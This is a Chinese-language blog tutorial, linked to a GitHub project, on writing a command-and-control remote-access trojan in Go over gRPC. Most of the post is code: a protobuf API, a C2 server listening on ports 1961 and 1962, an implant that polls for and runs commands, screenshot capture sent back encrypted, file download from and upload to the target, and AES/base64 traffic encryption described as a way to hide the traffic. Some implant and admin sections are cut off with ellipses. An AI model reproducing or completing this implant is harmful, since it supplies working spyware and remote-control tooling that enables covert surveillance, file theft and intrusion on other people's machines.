基于gRPC编写golang简单C2远控

newbe3three · · 836 次点击 · · 开始浏览    

## 概述 > 项目地址 https://github.com/newbe3three/gotoexec 构建一个简单的远控木马需要编写三个独立的部分:植入程序、服务端程序和管理程序。 植入程序是运行在目标机器上的远控木马的一部分。植入程序会定期轮询服务器以查找新的命令,然后将命令输出发回给服务器。 管理程序是运行在用户机器上的客户端,用于发出实际的命令。 服务端则负责与植入程序和客户端的交互,接收客户端的指令,并在植入程序请求时,将命令发送给植入程序,随后将植入程序发送来的结果传递给客户端。 ![目录结构.png](https://static.golangjob.cn/220803/b6a64860d18dd62cd022825af69ca8ed.png) ## gRPC 这里通过gRPC构建所有的网络交互。 > 关于gRPC、Protobuf、protoc请参考https://www.zhihu.com/question/286825709 gRPC是由google创建的一个高性能远程过程调用(RPC)框架。RPC框架允许客户端通过标准和定义的协议与服务器进行通信,而不必了解底层的任何细节。gRPC基于HTTP/2运行,以一种高效的二进制结构传递消息。gRPC默认的序列方式是Protobuf。 #### 定义和构造gRPC API 这里使用Protobufs来定义API ##### Service 在proto文件中定义了两个service,分别对应植入程序服务端和管理程序服务端。 在植入程序服务中,定义了三个方法`FetchCommand`、`SendOutput`和`GetSleepTime`。 *FetchCommand*:将从服务器检索所有为执行的命令 *SendOutput:*会将一个Command消息发送服务器 *GetSleepTime:*从服务端检索sleep时间间隔 在管理程序服务中,定义的两个方法`RunCommand`和`SetSleepTime` *RunCommand:*接收一个Command消息作为参数,并期望获读回一个Command消息 *SetSleepTime:*向服务器发送一个SleepTime消息作为时间间隔 ##### Message 最后看到定义的三个message `Command`、`SleepTime`和`Empty` *Command:*消息中的两个参数分别代表了输入的命令和命令对应的结果。都为string类型,要说明的是后面两个数字是代表了消息本身两个字段出现的偏移量,也就是In将首先出现,然后是Out。 *SleepTime:*唯一 一个字段就是用来标明休眠时间间隔的 *Empty:*用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值 ``` syntax = "proto3"; package grpcapi; option go_package = "./grpcapi"; service Implant { rpc FetchCommand (Empty) returns (Command); rpc SendOutput (Command) returns (Empty); rpc GetSleepTime(Empty) returns (SleepTime); } service Admin { rpc RunCommand (Command) returns (Command); rpc SetSleepTime(SleepTime) returns (Empty); } //Command消息包含两个字段,一个用于维护操作系统的命令;一个用于维护命令执行的输出 message Command { string In = 1; string Out = 2; } message SleepTime { int32 time = 1; } //Empty 用来代替null的空消息 定义这个Empty类型是由于gRPC不显式地允许空值 message Empty { } ``` ##### 编译proto文件 对于Golang使用如下命令编译`.proto`文件。会根据你的`.proto`文件生成Go文件。 这个生成的新文件回包含Protobuf模式中创建的服务和消息的结构和结构体定义。后续将利用它构造服务端、植入程序和客户端。 ``` protoc --go_out=./ --go-grpc_opt=require_unimplemented_servers=false --go-grpc_out=./ *.proto ``` ## 实现 ### 创建服务端 首先,创建两个结构体`adminServer`和`implantServer`,它们都包含两个Command通道,用于发送和接收命令以及命令的输出。这两个结构体会实现gRPC API中定义的服务端接口。并且需要为这两个结构体定义辅助函数`NewAdminServer`和`NewImplantServer`,用于创建新的实例,可以确保通道正确的初始化。 ```go type implantServer struct { work, output chan *grpcapi.Command } type adminServer struct { work, output chan *grpcapi.Command } func NewImplantServer (work, output chan *grpcapi.Command) *implantServer { s := new(implantServer) s.work = work s.output = output return s } func NewAdminServer (work, output chan *grpcapi.Command) *adminServer { s := new(adminServer) s.work = work s.output = output return s } ``` #### implantServer 对于植入程序服务端,需要实现的方法有`FetchCommand()`、`SendOutput()`和`GetSleepTime()` *FetchCommand:*植入程序将调用方法FetchCommand作为一种轮询机制,它会询问“有工作给我吗?”。在代码中,将根据select语句,当work通道中有数据时会从中读取数据到实例化的Command中,并返回。如果没有读取到数据,就会返回一个空的Command。 ```go func (s *implantServer) FetchCommand(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.Command, error) { var cmd = new(grpcapi.Command) select { case cmd, ok := <-s.work: if ok { return cmd, nil } return cmd, errors.New("channel closed") default: return cmd, nil } } ``` *SendOutput:*将接收一个Command,其中包含了从植入程序中获取的命令执行的结果。并将这个Command推送到output通道中,以便管理程序的后续读取。 ```go func (s *implantServer) SendOutput (ctx context.Context, result *grpcapi.Command) (*grpcapi.Empty, error) { s.output <- result fmt.Println("result:" + result.In + result.Out) return &grpcapi.Empty{}, nil } ``` *GetSleepTime:植入程序在每次sleep之前就会调用此方法,向服务端询问sleep的时间。这个方法将返回从变量sleepTIme中读取到的数据。 ```go func (s *implantServer) GetSleepTime(ctx context.Context, empty *grpcapi.Empty) (*grpcapi.SleepTime, error) { time := new(grpcapi.SleepTime) time.Time = sleepTime return time,nil } ``` #### adminServer 对于管理程序服务端,需要实现的方法有`RunCommand`和`SetSleepTime` *RunCommand:*该方法接收一个尚未发送到植入程序的Command,它表示管理程序希望在植入程序上执行的工作。并将工作发送给work通道。因为使用无缓冲的通道,该操作将会阻塞程序的执行,但同时又需要从output通道中接收数据,因此使用goroutine将工作放入work通道中。 调用这个方法时,会将命令发送给服务端,并等待植入程序执行完后的发送回的结果。 ``` func (s *adminServer) RunCommand(ctx context.Context, cmd *grpcapi.Command) (*grpcapi.Command, error) { fmt.Println(cmd.In) var res *grpcapi.Command go func() { s.work <- cmd }() res = <- s.output return res, nil } ``` *SetSleepTime:*管理程序客户端调用此方法,将从命令行输入的时间发送给服务端后,设置到sleepTIme变量中 ``` func (s *adminServer) SetSleepTime(ctx context.Context, time *grpcapi.SleepTime) (*grpcapi.Empty, error) { sleepTime = time.Time return &grpcapi.Empty{}, nil } ``` #### main函数部分 main函数首先使用相同的work和output通道实例化implantServer和adminServer。通过相同的通道实例,可以是管理程序服务端和植入程序服务端通过此共享通道进行通信。 接下来,为每个服务启动网络监听器,将implantListener绑定到1961端口,将adminListener绑定到1962端口。最后创建两个gRPC服务器。 ```go func main() { var ( implantListener, adminListener net.Listener err error opts []grpc.ServerOption work, output chan *grpcapi.Command ) work, output = make(chan *grpcapi.Command), make(chan *grpcapi.Command) //植入程序服务端和管理程序服务端使用相同的通道 implant := NewImplantServer(work, output) admin := NewAdminServer(work, output) //服务端建立监听,植入服务端与管理服务端监听的端口分别是1961和1962 if implantListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1961)); err != nil { log.Fatalln("implantserver"+err.Error()) } if adminListener,err = net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", 1962)); err != nil { log.Fatalln("adminserver"+err.Error()) } //服务端设置允许发送和接收数据的最大限制 opts = []grpc.ServerOption{ grpc.MaxRecvMsgSize(1024*1024*12), grpc.MaxSendMsgSize(1024*1024*12), } grpcAdminServer, grpcImplantServer := grpc.NewServer(opts...), grpc.NewServer(opts...) grpcapi.RegisterImplantServer(grpcImplantServer, implant) grpcapi.RegisterAdminServer(grpcAdminServer, admin) //使用goroutine启动植入程序服务端,防止代码阻塞,毕竟后面还要开启管理程序服务端 go func() { grpcImplantServer.Serve(implantListener) }() grpcAdminServer.Serve(adminListener) } ``` ### 创建植入程序和管理程序 #### 植入程序 ```go // WithInsecure 忽略证书 opts = append(opts, grpc.WithInsecure()) //设置发送和接收数据的最大限制 opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 ))) opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12))) //连接到指定服务器的指定端口 if conn,err = grpc.Dial(fmt.Sprintf("127.0.0.1:%d",1961), opts...); err != nil { log.Fatal(err) } defer conn.Close() client = grpcapi.NewImplantClient(conn) ctx := context.Background() //使用for循环来轮询服务器 for { var req = new(grpcapi.Empty) cmd, err := client.FetchCommand(ctx, req) if err != nil { log.Fatal(err) } //如果没有要执行的命令就进入sleep if cmd.In == "" { //sleep之前向服务器询问sleep的时间 t,_ := client.GetSleepTime(ctx,req) fmt.Println("sleep"+t.String()) time.Sleep(time.Duration(t.Time)* time.Second) continue } //从服务端获取到命令后先进行解密处理 command, _ := util.DecryptByAes(cmd.In) //根据空格截取命令 tokens := strings.Split(string(command), " ") ....... } ``` #### 管理程序 ```go // 设置命令行参数 flag.IntVar(&sleepTime,"sleep",0,"sleep time") flag.StringVar(&session,"session","","start session") flag.StringVar(&ip,"ip","127.0.0.1","Server IP") flag.StringVar(&port,"port","1961","Server IP") flag.Parse() if session != "" { //输入session参数,并且参数值为start,开执行命令 if session == "start" { // WithInsecure 忽略证书 opts = append(opts, grpc.WithInsecure()) //设置发送和接收数据的最大限制 opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(1024 * 1024 * 12 ))) opts = append(opts, grpc.WithDefaultCallOptions(grpc.MaxCallSendMsgSize(1024 * 1024 * 12))) //连接到指定服务器的指定端口 if conn,err = grpc.Dial(fmt.Sprintf("%s:%s",ip, port),opts...); err != nil { log.Fatal(err) } defer conn.Close() client = grpcapi.NewAdminClient(conn) fmt.Println("start exec:") //通过for循环来不断向控制台输入命令 for { var cmd = new(grpcapi.Command) //go中scan、scanf、scanln在输入时都会将空格作为一个字符串的结束,因此不能使用这些来键入我们的命令 //获取用户输入的命令 reader := bufio.NewReader(os.Stdin) command, _, err := reader.ReadLine() if nil != err { fmt.Println("reader.ReadLine() error:", err) } //根据空格截取输入的命令,以进行后续的判断 flags := strings.Split(string(command)," ") ...... } else { fmt.Println("please input start") } } ``` ##### sleep时间 自定义回连时间:也就是允许自定义植入程序轮询服务器的时间间隔。 植入程序这里轮询时间间隔是通过sleep函数实现的,而实现自定义这个功能则是植入程序在sleep之前会向服务端询问sleep的时间。 ```go //如果没有要执行的命令就进入sleep if cmd.In == "" { //sleep之前向服务器询问sleep的时间 t,_ := client.GetSleepTime(ctx,req) fmt.Println("sleep"+t.String()) time.Sleep(time.Duration(t.Time)* time.Second) continue } ``` 管理程序客户端可以通过命令行参数sleep来设置休眠时间,单位为秒。 ```go //根据命令行键入sleep参数的值进行设置sleep时间,如果没有键入sleep参数默认为0 if sleepTime != 0 { var time = new(grpcapi.SleepTime) time.Time = int32(sleepTime) ctx := context.Background() client.SetSleepTime(ctx,time) } ``` ##### 截图 截图功能实现 截图功能借助于 `github.com/kbinani/screenshot` 实现 植入端获取到截图命令后,会先获取当前屏幕的数量,并根据顺序进行截图,并将图片存放到`[]byte`字节切片中,进行加密编码后发出。 ```go //输入的命令为screenshot 就进入下面的流程 if tokens[0] == "screenshot" { images := util.Screenshot() for _,image := range images { result,_ := util.EncryptByAes(util.ImageToByte(image)) cmd.Out += result cmd.Out += ";" } client.SendOutput(ctx, cmd) continue } ``` ```go //util.Screenshot() 截图 func Screenshot() []*image.RGBA { var images []*image.RGBA //获取当前活动屏幕数量 i := screenshot.NumActiveDisplays() if i == 0 { } for j :=0; j <= i-1; j++ { image,_ := screenshot.CaptureDisplay(j) images = append(images, image) } return images } //util.ImageToByte() 图片转字节切片 func ImageToByte(image *image.RGBA) []byte{ buf := new(bytes.Buffer) png.Encode(buf,image) b := buf.Bytes() return b } ``` ##### 上传文件 上传文件,要求输入的格式为 `upload 本地文件 目标文件`。 管理程序会根据输入的本地文件,将本地文件读取到`[]byte`字节切片当中,并进行AES加密和BASE64编码。也就是说最终向服务端传递的数据将变成经过加密、编码后的字符串。这里会将这个字符串存放在**Command.Out**中。这里可能游戏额难以理解,command.Out不是用来存放执行结果的吗?其实在服务端中,会将管理程序客户端的命令放到work中,然后将植入程序执行完以后会才会将结果封装在command.Out,而在这之前command.Out是空的。这里上传文件实际上是在管理程序客户端时“借用”command.Out的位置,将要上传的数据与上传命令一起发送给植入程序。 > 这里根据前面提到的,设置最大上传数据为12MB,但要注意的上传文件会经过aes加密与base64编码,因此12MB指经过加密后的数据大小,实际上允许上传的数据要小于12MB。下载同理。 ```go if flags[0] == "upload" { if len(flags) != 3 || flags[2] == "" { fmt.Println("输入格式为:upload 本地文件 目标文件") continue } file, err := os.ReadFile(flags[1]) if err != nil { fmt.Println(err.Error()) continue } //将数据存放在Command.Out中 cmd.Out,err = util.EncryptByAes(file) if err != nil { log.Fatal(err.Error()) } cmd = Run(cmd,command,client) out,err := util.DecryptByAes(cmd.Out) if err != nil { log.Fatal(err.Error()) } fmt.Println(string(out)) continue } ``` 植入端程序将根据`cmd.in`中输入的命令判断是否为上传指令。判断为上传指令后,将会对`cmd.out`中保存的字符串数据进行解密后写入到用户指定的目标文件当中。 ```go //匹配上传命令 if tokens[0] == "upload" { file,_ := util.DecryptByAes(cmd.Out) err := os.WriteFile(tokens[2],file,0666) if err != nil{ cmd.Out,_ = util.EncryptByAes([]byte(err.Error())) client.SendOutput(ctx, cmd) } else { cmd.Out,_ = util.EncryptByAes([]byte("upload success!")) client.SendOutput(ctx, cmd) } continue } ``` ##### 下载文件 下载文件, 要求输入的格式为`download 目标文件 本地文件`。 客户端将下载命令发送给服务端。客户端会从`cmd.out`中读取到数据后解密,并根据用户输入的本地文件写入文件。 ```go if flags[0] == "download" { if len(flags) != 3 || flags[2] == "" { fmt.Println("输入格式为:download 目标文件 本地文件") continue } //发送命令 cmd = Run(cmd,command,client) file, err := util.DecryptByAes(cmd.Out) if err != nil { log.Fatal(err.Error()) } if string(file[0:13]) == "download err!" { fmt.Println(string(file[0:13])) continue } err = os.WriteFile(flags[2],file,0666) if err != nil { fmt.Println(err.Error()) }else { fmt.Println("download success! Path:" + flags[2]) } continue } ``` 当植入程序询问到该命令之后,会将用户输入的目标文件读取到`[]byte`字节切片当中,与上传文件类似地,进行加密编码以字符串形式存放到cmd.Out中经服务端发送给客户端。 ```go //匹配下载命令 if tokens[0] == "download" { file,err := os.ReadFile(tokens[1]) if err != nil { cmd.Out,_ = util.EncryptByAes([]byte("download err! "+err.Error())) client.SendOutput(ctx, cmd) }else { cmd.Out,_ = util.EncryptByAes(file) _,err2 := client.SendOutput(ctx, cmd) if err2 != nil { fmt.Println(err2.Error()) } } continue } ``` ### 编码问题 go的编码是UTF-8,而CMD的活动页是GBK编码的,因此使用GoLang进行命令执行时,对于命令执行结果返回的中文会产生乱码的现象。 虽然在植入程序中会执行命令,但是在通过植入程序再向服务端发送结果时由于包含乱码,植入程序向服务端发送的数据为空。(因此服务端就没有接收这个数据),result中没有数据,所以植入程序的服务端在向output输入数据时会阻塞。由于管理服务端和植入程序服务端共享通道,output中没有数据,进而引发管理服务端也阻塞(直到output中有数据)。 中文乱码问题的解决依赖于`golang.org/x/text/encoding/simplifiedchinese` 当然在解决掉乱码问题后,这一问题也就消失了。 ```go type Charset string const ( UTF8 = Charset("UTF-8") GB18030 = Charset("GB18030") ) func ConvertByte2String(byte []byte, charset Charset) string { var str string switch charset { case GB18030: decodeBytes, _ := simplifiedchinese.GB18030.NewDecoder().Bytes(byte) str = string(decodeBytes) case UTF8: fallthrough default: str = string(byte) } return str } ``` ### 流量加密 对于所有的C2程序都应该加密其网络流量,这对于植入程序和服务器之间的通信尤为重要。通过截取流量,可以看到植入程序和服务端的数据是明文的。对于解决这个问题,可以提供得是两种选择,一是对我们传输得数据进行加密如异或、AES加密,在传输过程中使用密文传递;二是使用TLS技术。 如下为未加密前流量 ![未加密结果.png](https://static.golangjob.cn/220803/da86b7e7e0add6f9a7191a110b27b623.png) ![未加密命令.png](https://static.golangjob.cn/220803/7787ad1b37b650f028da4b924978c8ab.png) 当前使用AES+BAES64编码来进行加密 > aes加密和base64编码参考:https://blog.csdn.net/dodod2012/article/details/117706402 管理程序客户端获取到用户从命令行键入的命令,将对这个命令进行base64+aes加密,再发送给服务端。服务端接收到这个消息后,直接将消息写入通道中。 待植入程序客请求服务端时,就会读取到这段密文,进行解密后执行命令,并将执行的结果进行加密发送给服务端。最终管理程序会从结果通道中读取到执行的结果,解密后并进行编码格式的转变,输出到控制台。这相比于明文传输就安全多了。如下为加密后的流量 ![base64+aes密文传输.png](https://static.golangjob.cn/220803/b21cb93351e60d725185d939cb3523a5.png)

有疑问加站长微信联系(非本文作者))

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:692541889

836 次点击  
加入收藏 微博
暂无回复
添加一条新回复 (您需要 登录 后才能回复 没有账号 ?)
  • 请尽量让自己的回复能够对别人有帮助
  • 支持 Markdown 格式, **粗体**、~~删除线~~、`单行代码`
  • 支持 @ 本站用户;支持表情(输入 : 提示),见 Emoji cheat sheet
  • 图片支持拖拽、截图粘贴等方式上传